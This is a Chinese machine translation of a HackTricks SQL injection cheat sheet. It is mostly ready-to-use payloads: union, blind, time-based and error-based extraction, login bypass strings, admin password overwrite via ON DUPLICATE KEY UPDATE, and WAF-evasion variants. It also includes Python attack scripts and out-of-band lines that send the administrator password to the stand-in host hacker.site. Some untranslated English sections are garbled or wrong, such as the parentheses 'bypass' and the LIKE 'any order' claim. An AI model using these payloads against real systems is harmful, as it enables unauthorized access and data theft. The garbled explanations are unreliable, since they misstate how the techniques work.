hacktricks/pentesting-web/sql-injection
2023-08-16 09:35:31 +00:00
..
mysql-injection Translated to Chinese 2023-08-03 19:12:22 +00:00
postgresql-injection Translated to Chinese 2023-08-03 19:12:22 +00:00
sqlmap Translated ['generic-methodologies-and-resources/shells/msfvenom.md', 'p 2023-08-16 09:35:31 +00:00
cypher-injection-neo4j.md Translated to Chinese 2023-08-03 19:12:22 +00:00
ms-access-sql-injection.md Translated to Chinese 2023-08-03 19:12:22 +00:00
mssql-injection.md Translated to Chinese 2023-08-03 19:12:22 +00:00
oracle-injection.md Translated to Chinese 2023-08-03 19:12:22 +00:00
README.md Translated to Chinese 2023-08-03 19:12:22 +00:00
sqlmap.md Translated to Chinese 2023-08-03 19:12:22 +00:00

SQL注入

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 YouTube 🎥

RootedCON是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。

{% embed url="https://www.rootedcon.com/" %}

什么是SQL注入

SQL注入是一种Web安全漏洞允许攻击者干扰应用程序对其数据库的查询。它通常允许攻击者查看他们通常无法检索的数据。这可能包括属于其他用户的数据或者应用程序本身能够访问的任何其他数据。在许多情况下攻击者可以修改或删除这些数据从而对应用程序的内容或行为造成持久性更改。
在某些情况下攻击者可以将SQL注入攻击升级为对基础服务器或其他后端基础设施的入侵或者进行拒绝服务攻击。来自这里)。

在本文中我假设我们已经发现了可能的SQL注入并讨论了确认SQL注入、侦查数据库和执行操作的可能方法。

入口点检测

你可能已经发现了一个表面上容易受到SQL注入攻击的站点只是因为服务器在处理与SQLi相关的输入时表现出异常。因此你需要做的第一件事是如何在不破坏查询的情况下注入数据。为此,你首先需要找到如何从当前上下文中逃逸的方法。
以下是一些有用的示例:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

然后,你需要知道如何修复查询以避免错误。为了修复查询,你可以输入数据,使先前的查询接受新数据,或者你可以只是输入你的数据并在末尾添加一个注释符号

请注意,如果你能看到错误消息或者能够发现查询在工作时和不工作时的差异,这个阶段会更容易。

注释

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

通过逻辑操作确认

确认SQL注入的最佳方法之一是通过使其执行逻辑操作并获得预期结果。
例如如果GET参数?username=Peter返回与?username=Peter' or '1'='1相同的内容那么你找到了一个SQL注入。

你也可以将这个概念应用到数学运算上。例如:如果?id=1返回与?id=2-1相同的内容那么是SQL注入。

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

这个单词列表是为了尝试以提议的方式确认SQL注入而创建的:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

使用时间确认

在某些情况下,您不会注意到页面上的任何变化。因此发现盲目的SQL注入的一个好方法是让数据库执行操作并且会对页面加载所需的时间产生影响
因此我们将在SQL查询中连接一个需要很长时间才能完成的操作

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

在某些情况下,不允许使用sleep函数。那么,您可以使用执行复杂操作的查询来代替这些函数,这将需要几秒钟的时间。这些技术的示例将在每个技术上单独进行注释

识别后端

识别后端的最佳方法是尝试执行不同后端的函数。您可以使用前一节中的_sleep_ 函数或以下函数:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

此外,如果您可以访问查询的输出,您可以使其打印数据库的版本

{% hint style="info" %} 接下来我们将讨论不同方法来利用不同类型的SQL注入。我们将以MySQL为例。 {% endhint %}

使用PortSwigger进行识别

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

利用基于Union的注入

检测列数

如果您可以看到查询的输出,这是利用它的最佳方法。
首先,我们需要找出初始请求返回的列数。这是因为两个查询必须返回相同数量的列
通常有两种方法用于此目的:

Order/Group by

不断增加数字直到获得False响应。尽管GROUP BY和ORDER BY在SQL中具有不同的功能但它们都可以以完全相同的方式用于确定查询中的列数。

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

选择更多的空值,直到查询正确为止:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

在某些情况下,查询的两侧列的类型必须相同,因此您应该使用null值,因为在任何情况下都是有效的。

提取数据库名称、表名称和列名称

在下面的示例中,我们将检索所有数据库的名称,数据库中表的名称以及表中的列名称:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

每个不同的数据库都有一种不同的方法来发现这些数据,但方法论是相同的。

利用隐藏的基于联合的注入

如果你能看到查询的输出,但无法进行基于联合的注入,那么你正在处理一个隐藏的基于联合的注入。
在这种情况下,你将面临盲注入。要将盲注入转变为基于联合的注入,你需要提取在后端执行的查询。
你可以通过使用盲注入和目标DBMS的默认表来实现。要了解这些默认表请阅读目标DBMS的文档。
在提取查询之后,你需要相应地调整你的有效载荷,安全地关闭原始查询。然后在有效载荷中附加一个联合查询,并开始利用新获得的基于联合的注入。

完整文章:https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f

利用基于错误的注入

如果由于某种原因你无法看到查询的输出,但你可以看到错误消息,你可以利用这些错误消息从数据库中提取数据。
按照与基于联合的利用类似的流程,你可以成功地转储数据库。

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

利用盲注进行攻击

在这种情况下您无法看到查询的结果或错误但是您可以通过页面上的不同内容来区分查询返回的是true还是false响应。
在这种情况下,您可以利用这种行为逐个字符地转储数据库:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

利用错误盲注进行攻击

这与之前的情况相同,但不再区分查询的真/假响应而是可以区分SQL查询是否出现错误可能是因为HTTP服务器崩溃。因此在这种情况下每次猜测正确的字符时您可以强制引发SQL错误

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

利用基于时间的SQL注入

在这种情况下没有办法根据页面的上下文来区分查询的响应。但是如果猜测的字符是正确的你可以使页面加载时间变长。我们之前已经看到过这种技术的使用以确认SQL注入漏洞。

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

堆叠查询

您可以使用堆叠查询来连续执行多个查询。请注意,尽管执行了后续查询,但结果不会返回给应用程序。因此,此技术主要用于与盲漏洞相关的情况您可以使用第二个查询来触发DNS查找、条件错误或时间延迟。

Oracle不支持堆叠查询MySQL、MicrosoftPostgreSQL支持它们:QUERY-1-HERE; QUERY-2-HERE

带外利用

如果没有其他利用方法奏效,您可以尝试让数据库将信息泄露到由您控制的外部主机。例如通过DNS查询

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

通过XXE进行带外数据泄露

XXEXML外部实体注入是一种常见的Web应用程序漏洞可以利用它来从目标系统中泄露数据。在XXE攻击中攻击者通过向目标应用程序发送恶意的XML请求来触发漏洞。这些恶意请求中包含了指向外部实体的引用攻击者可以利用这些引用来读取敏感数据并将其发送到自己的服务器。

然而,有些情况下,目标系统可能无法直接与攻击者的服务器进行通信,例如防火墙或其他安全措施可能会阻止此类通信。在这种情况下,攻击者可以利用带外数据泄露技术来绕过这些限制。

带外数据泄露是一种利用其他协议如HTTP、DNS或SMTP来将数据从目标系统传输到攻击者控制的服务器的技术。在XXE攻击中攻击者可以通过在恶意XML请求中插入带外数据泄露的有效载荷来实现这一点。

例如攻击者可以在恶意XML请求中插入一个外部实体引用该引用指向一个特殊的URL该URL会触发目标系统向攻击者的服务器发送HTTP请求。攻击者可以在自己的服务器上监听这些请求并从中提取敏感数据。

通过使用带外数据泄露技术,攻击者可以绕过防火墙或其他安全措施,将敏感数据从目标系统中泄露出来,而无需直接与攻击者的服务器进行通信。这使得攻击者能够更加隐蔽地进行数据泄露,并且更难被检测到。

要利用XXE进行带外数据泄露攻击者需要了解目标系统的配置和环境并选择适合的带外通信协议和有效载荷。同时攻击者还需要在自己的服务器上设置相应的监听器来接收从目标系统发送的数据。

总结一下通过XXE进行带外数据泄露是一种利用XML外部实体注入漏洞的技术可以绕过防火墙或其他安全措施将敏感数据从目标系统中泄露出来。攻击者可以利用其他协议来传输数据并在自己的服务器上接收和提取这些数据。

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

自动化利用

查看SQLMap Cheetsheat以使用sqlmap利用SQLi漏洞。

技术特定信息

我们已经讨论了利用SQL注入漏洞的所有方法。在本书中可以找到一些与数据库技术相关的更多技巧

或者您可以在https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection中找到关于MySQL、PostgreSQL、Oracle、MSSQL、SQLite和HQL的许多技巧

RootedCON西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流。

{% embed url="https://www.rootedcon.com/" %}

身份验证绕过

尝试绕过登录功能的列表:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

身份验证绕过原始MD5

当使用原始MD5时密码将被查询为简单字符串而不是十六进制字符串。

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

允许攻击者构造一个包含true语句的字符串,例如' or 'SOMETHING

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>

哈希认证绕过

In some cases, web applications use hash-based authentication to verify the user's credentials. This authentication method involves hashing the user's password and comparing it with the stored hash value. However, if the application does not properly validate the user input, it may be vulnerable to hash authentication bypass attacks.

在某些情况下Web应用程序使用基于哈希的认证来验证用户的凭据。这种认证方法涉及对用户的密码进行哈希处理并将其与存储的哈希值进行比较。然而如果应用程序没有正确验证用户输入可能会存在哈希认证绕过攻击的漏洞。

To bypass hash authentication, an attacker can exploit vulnerabilities in the input validation process to inject specially crafted input that will bypass the hash comparison. This can be achieved through various techniques, such as SQL injection or manipulating the input to produce a specific hash collision.

为了绕过哈希认证攻击者可以利用输入验证过程中的漏洞注入特制的输入以绕过哈希比较。这可以通过各种技术实现例如SQL注入或操纵输入以产生特定的哈希碰撞。

To identify and exploit hash authentication bypass vulnerabilities, you can follow these steps:

要识别和利用哈希认证绕过漏洞,可以按照以下步骤进行操作:

  1. Identify the authentication mechanism: Determine how the application is performing the hash-based authentication.

    识别认证机制:确定应用程序如何执行基于哈希的认证。

  2. Analyze the input validation: Understand how the application validates user input and look for any potential vulnerabilities.

    分析输入验证:了解应用程序如何验证用户输入,并寻找任何潜在的漏洞。

  3. Craft malicious input: Create specially crafted input that can bypass the hash comparison.

    构造恶意输入:创建特制的输入,以绕过哈希比较。

  4. Test the input: Submit the malicious input and observe the application's response. If the authentication is bypassed, the application will grant access without the correct credentials.

    测试输入:提交恶意输入并观察应用程序的响应。如果认证被绕过,应用程序将在没有正确凭据的情况下授予访问权限。

By successfully bypassing hash authentication, an attacker can gain unauthorized access to the application and potentially perform further malicious actions.

通过成功绕过哈希认证,攻击者可以未经授权地访问应用程序,并有可能执行进一步的恶意操作。

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

推荐列表

您应该将列表中的每一行作为用户名,密码始终为:Pass1234.
(这些有效载荷也包含在本节开头提到的大列表中)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK身份验证绕过

如果'被转义,您可以使用%A8%27当'被转义时将创建0xA80x5c0x27╘'

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
import requests

def sql_injection(url, payload):
    # Construct the SQL injection payload
    payload = f"' OR {payload} -- "

    # Send the request with the payload
    response = requests.get(url + payload)

    # Check if the response indicates a successful SQL injection
    if "Error" in response.text:
        print("SQL injection successful!")
    else:
        print("SQL injection failed.")

# Example usage
url = "https://example.com/login"
payload = "1=1"
sql_injection(url, payload)
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

多语境注入(多上下文)

Polyglot injection refers to a type of SQL injection attack that can work across multiple database management systems (DBMS). It involves crafting a malicious payload that is capable of exploiting vulnerabilities in different DBMS, such as MySQL, Oracle, SQL Server, and PostgreSQL.

多语境注入是一种可以在多个数据库管理系统DBMS上运行的SQL注入攻击类型。它涉及构造恶意有效负载能够利用不同DBMS如MySQL、Oracle、SQL Server和PostgreSQL中的漏洞。

The advantage of using a polyglot injection is that it allows an attacker to target multiple systems with a single payload, increasing the chances of a successful attack. By carefully crafting the payload to be compatible with different DBMS syntax and behavior, the attacker can exploit vulnerabilities across various systems.

使用多语境注入的优势在于它允许攻击者使用单个有效负载来攻击多个系统增加了成功攻击的机会。通过精心构造与不同DBMS语法和行为兼容的有效负载攻击者可以利用各种系统中的漏洞。

To create a polyglot injection payload, the attacker needs to have a deep understanding of the syntax and behavior of the target DBMS. By leveraging the similarities and differences between different DBMS, the attacker can create a payload that is interpreted differently by each system, but still achieves the desired malicious outcome.

要创建多语境注入有效负载攻击者需要对目标DBMS的语法和行为有深入的了解。通过利用不同DBMS之间的相似性和差异攻击者可以创建一个在每个系统中以不同方式解释的有效负载但仍然实现所需的恶意结果。

It is important to note that polyglot injection is a complex technique that requires advanced knowledge and expertise in SQL injection attacks. It is typically used by experienced hackers and penetration testers to exploit vulnerabilities in multiple systems simultaneously.

需要注意的是多语境注入是一种复杂的技术需要对SQL注入攻击有高级知识和专业技能。通常由经验丰富的黑客和渗透测试人员同时利用多个系统中的漏洞。

To protect against polyglot injection attacks, it is crucial to implement proper input validation and sanitization techniques in web applications. This includes using parameterized queries or prepared statements, input validation filters, and strict input length restrictions.

为了防止多语境注入攻击关键是在Web应用程序中实施适当的输入验证和净化技术。这包括使用参数化查询或预编译语句、输入验证过滤器和严格的输入长度限制。

By following secure coding practices and regularly updating and patching the underlying software, organizations can significantly reduce the risk of polyglot injection attacks and other SQL injection vulnerabilities.

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

插入语句

修改现有对象/用户的密码

要做到这一点,您应该尝试创建一个名为“主对象”的新对象(在用户的情况下可能是admin),并进行一些修改:

  • 创建名为:AdMIn(大小写字母)
  • 创建名为:**admin=**的用户
  • SQL截断攻击(当用户名或电子邮件中存在某种长度限制时)--> 创建名为:admin [很多空格] a的用户

SQL截断攻击

如果数据库存在漏洞并且用户名的最大字符数为30并且您想冒充用户admin,请尝试创建一个名为:"admin [30个空格] a"的用户名和任意密码。

数据库将检查是否在数据库中存在输入的用户名。如果不存在,它将截断用户名允许的最大字符数(在本例中为:"admin [25个空格]"),然后自动删除末尾的所有空格,并在数据库中更新用户“admin”的新密码(可能会出现一些错误,但这并不意味着它没有起作用)。

更多信息:https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

注意在最新的MySQL安装中此攻击将不再按照上述描述起作用。虽然比较仍然默认忽略尾随空格但尝试插入长度超过字段长度的字符串将导致错误并且插入将失败。有关更多信息请参阅 https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation__

MySQL基于时间的插入检查

根据需要添加尽可能多的','',''以退出VALUES语句。如果延迟执行则存在SQL注入。

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE 关键字用于告诉MySQL在应用程序尝试插入已经存在于表中的行时应该做什么。我们可以使用这个关键字来更改管理员密码方法如下

Inject using payload:
attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

提取信息

同时创建两个账户

在尝试创建新用户时,需要提供用户名、密码和电子邮件:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

使用十进制或十六进制

使用这种技术,您可以仅创建一个帐户来提取信息。重要的是要注意,您不需要添加任何注释。

使用hex2decsubstr

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

要获取文本,您可以使用以下方法:

__import__('binascii').unhexlify(hex(215573607263)[2:])

使用hexreplace(以及substr

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点聚会。

{% embed url="https://www.rootedcon.com/" %}

路由SQL注入

路由SQL注入是一种情况其中可注入的查询不是产生输出的查询而是可注入的查询的输出进入产生输出的查询。(论文)

示例:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF绕过

无空格绕过

无空格(%20- 使用空格的替代方式进行绕过

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - 通过使用注释绕过

In some cases, web applications may have filters in place that block certain characters or patterns, such as whitespace. These filters are designed to prevent SQL injection attacks by blocking common attack vectors.

然而在某些情况下Web应用程序可能会设置过滤器来阻止特定字符或模式例如空格。这些过滤器旨在通过阻止常见的攻击向量来防止SQL注入攻击。

One technique to bypass these filters is to use comments in the SQL injection payload. Comments in SQL are used to add notes or explanations and are ignored by the database engine. By leveraging comments, we can inject malicious SQL code without triggering the filters.

绕过这些过滤器的一种技术是在SQL注入负载中使用注释。SQL中的注释用于添加注释或解释并且数据库引擎会忽略它们。通过利用注释我们可以注入恶意的SQL代码而不触发过滤器。

The basic idea is to enclose the injected SQL code within comment tags, such as /* */ or --. This effectively hides the injected code from the filters.

基本思想是将注入的SQL代码包含在注释标签中例如/* */--。这有效地将注入的代码隐藏在过滤器之外。

Here's an example of how to bypass a whitespace filter using comments:

以下是使用注释绕过空格过滤器的示例:

Original SQL query:

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

Injected SQL query with comments:

SELECT * FROM users WHERE username = 'admin'/*' AND password = 'password'

In this example, we have commented out the remaining part of the original query by enclosing it within /* and */. The database engine will only execute the part of the query before the comment, effectively bypassing the whitespace filter.

在这个例子中,我们通过将剩余部分的原始查询包含在/**/之间来注释掉它。数据库引擎只会执行注释之前的查询部分,有效地绕过了空格过滤器。

It's important to note that this technique may not work in all cases, as the effectiveness of filters can vary depending on the specific implementation. Additionally, it's crucial to thoroughly test and validate the injected SQL code to ensure it achieves the desired outcome without causing unintended consequences.

需要注意的是这种技术可能在所有情况下都不起作用因为过滤器的有效性可能因具体实现而异。此外必须彻底测试和验证注入的SQL代码以确保它能够实现预期的结果而不会造成意外后果。

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - 使用括号绕过

Description

In some cases, web application firewalls (WAFs) or input validation filters may be configured to block certain keywords or patterns commonly associated with SQL injection attacks. One common technique used to bypass these filters is to manipulate the SQL query by removing whitespace characters.

However, in some scenarios, removing whitespace characters may not be possible due to strict input validation or other restrictions. In such cases, an alternative approach is to use parentheses to bypass the filters.

Technique

The idea behind this technique is to enclose the malicious payload within parentheses, effectively changing the structure of the SQL query and bypassing the filters. By doing so, the whitespace characters can be preserved while still injecting the payload.

Consider the following example:

SELECT * FROM users WHERE username = 'admin' AND password = 'password'

To bypass the filters, we can enclose the payload within parentheses:

SELECT * FROM users WHERE username = 'admin' AND (password = 'password')

In this example, the parentheses effectively change the structure of the query, allowing the payload to be injected without removing any whitespace characters.

It's important to note that this technique may not work in all scenarios, as it depends on the specific implementation of the input validation filters. Additionally, it's crucial to thoroughly test the application to ensure that the payload is being injected correctly and not causing any unintended consequences.

Conclusion

When faced with strict input validation or other restrictions that prevent the removal of whitespace characters, using parentheses to enclose the payload can be an effective technique to bypass filters and successfully inject SQL payloads. However, it's important to understand the limitations of this technique and thoroughly test its effectiveness in each specific scenario.

?id=(1)and(1)=(1)--

无逗号绕过

无逗号绕过 - 使用OFFSET、FROM和JOIN进行绕过

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

通用绕过方法

黑名单使用关键词 - 使用大写/小写绕过

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist using keywords case insensitive - bypass using an equivalent operator

Introduction

In some cases, web applications implement a blacklist to prevent certain keywords from being used in user input. This is often done to mitigate SQL injection attacks. However, if the blacklist is implemented in a case-insensitive manner, it can be bypassed using an equivalent operator.

Bypassing a Case-Insensitive Blacklist

To bypass a case-insensitive blacklist, you can use an equivalent operator that the blacklist does not account for. One common example is the "LIKE" operator, which is used for pattern matching in SQL queries.

The "LIKE" operator allows the use of wildcard characters, such as "%" and "_", to match any character or a specific character, respectively. By using the "LIKE" operator, you can construct a query that bypasses the case-insensitive blacklist.

Example

Suppose a web application has a case-insensitive blacklist that prevents the use of the keyword "admin" in user input. The application uses the following query to retrieve user information from the database:

SELECT * FROM users WHERE username = 'input';

To bypass the blacklist, you can use the "LIKE" operator to match the keyword "admin" in a case-insensitive manner. The following payload can be used:

SELECT * FROM users WHERE username LIKE '%a%dm%in%';

This payload will match any username that contains the letters "a", "d", "m", and "in" in any order, effectively bypassing the blacklist.

Conclusion

When a web application implements a case-insensitive blacklist to prevent certain keywords, it is possible to bypass it using an equivalent operator like the "LIKE" operator. By understanding how the blacklist is implemented and using the appropriate bypass technique, you can successfully exploit SQL injection vulnerabilities.

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

科学计数法WAF绕过

您可以在gosecure博客中找到更详细的解释。
基本上您可以以意想不到的方式使用科学计数法来绕过WAF

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

绕过列名限制

首先,注意如果原始查询和你想从中提取标志的表具有相同数量的列,你可以简单地执行以下操作:0 UNION SELECT * FROM flag

可以通过以下查询访问表的第三列而不使用列名SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;所以在SQL注入中它看起来像是这样

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

或者使用逗号绕过

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

这个技巧来自https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

WAF绕过建议工具

{% embed url="https://github.com/m4ll0k/Atlas" %}

其他指南

暴力破解检测列表

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON 是西班牙最重要的网络安全活动之一,也是欧洲最重要的网络安全活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士的热点交流平台。

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥